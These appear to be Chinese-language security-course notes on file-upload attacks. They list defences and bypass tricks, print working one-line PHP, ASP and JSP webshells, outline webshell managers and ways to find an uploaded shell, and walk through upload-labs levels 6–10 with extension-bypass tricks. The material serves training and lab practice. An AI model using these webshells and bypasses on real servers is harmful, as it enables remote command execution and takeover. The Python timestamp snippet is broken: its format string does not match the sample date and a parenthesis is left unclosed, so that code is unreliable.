一、文件上传防御手段及绕过手段总结
防御手段:
-
文件类型检查:
- 限制可上传的文件类型。
- 检查文件的MIME类型。
- 检查文件的内容而不是仅仅依赖文件扩展名。
-
文件大小限制:
- 限制上传文件的大小,以减少拒绝服务(DoS)攻击的风险。
-
文件名处理:
- 对上传的文件名进行重命名,避免使用用户提供的文件名。
- 移除或处理文件名中的特殊字符。
-
存储安全:
- 将上传的文件存储在独立的服务器或隔离的文件系统中。
- 设置适当的文件权限,避免执行权限。
-
验证和清理:
- 对上传的文件进行病毒扫描和内容验证。
- 清理文件内容,移除可能的恶意代码。
-
使用安全的编程实践:
- 使用最新版本的编程语言和框架,并应用安全补丁。
- 遵循安全编码标准。
-
二次验证:
- 对上传的文件进行二次验证,例如上传后通过电子邮件确认。
-
日志记录和监控:
- 记录所有上传活动,并定期检查日志文件。
- 监控文件上传行为,以便及时发现异常。
绕过手段:
-
MIME类型欺骗:
- 修改HTTP请求头部,伪装成允许的MIME类型。
-
文件扩展名变异:
- 尝试不同的文件扩展名,例如使用
.php.
(注意点号)来绕过某些过滤器。
- 尝试不同的文件扩展名,例如使用
-
文件内容编码:
- 对文件内容进行编码,例如Base64或十六进制编码,以绕过简单的文件内容检查。
-
服务器解析漏洞:
- 利用服务器配置错误或特定文件解析漏洞,例如IIS中的文件名检查不严。
-
目录遍历:
- 尝试上传包含目录遍历序列的文件名,将文件放置在Web根目录之外。
-
条件竞争:
- 在文件上传后、文件处理之前,尝试访问上传的文件,利用时间差执行代码。
-
服务器配置漏洞:
- 利用服务器配置不当,例如不正确的
.htaccess
文件设置。
- 利用服务器配置不当,例如不正确的
-
利用文件包含功能:
- 如果服务器上有文件包含功能,攻击者可能通过上传恶意文件并包含它来执行代码。
二、文件上传常用一句话木马
PHP 一句话木马示例:
<?php @eval($_POST['cmd']); ?>
ASP 一句话木马示例:
<% Execute(Request("cmd")) %>
JSP 一句话木马示例:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
三、课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
蚁剑
将一句话木马放在该目录下
测试链接
查看链接
bp抓包
哥斯拉
生成木马
保存成功
冰蝎
生成木马
移动到目标位置
新增shell
连接成功
四、文件上传无回显如何查找webshell地址
方法1:字典爆破
根据经验,文件上传后,文件有时会直接以文件名的形式放在在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件名但是存放到其他目录的形式。这个时候我们通常需要一个专属字典进行访问。
方法2:时间戳枚举
在渗透测试过程中,有些文件上传后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。
from datetime import datetime
#从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H-%M-%S"也可通过在线的时间戳转换网站进行获取:https://www.beijing-time.org/shijianchuo/
五、upload-labs靶场通关第6-第10关
第六关
禁止上传这些后缀文件
将后缀改为PHp
上传成功
第七关
禁止上传这些后缀文件
尝试大小写,发现无法上传
添加空格
文件上传成功
第八关
查看源码,可以使用.进行绕过
在后缀加上.
上传成功
第九关
查看源码,没有去除::$DATA
在后缀加上::$DATA
上传成功
第十关
查看源码
在后缀加上. .
上传成功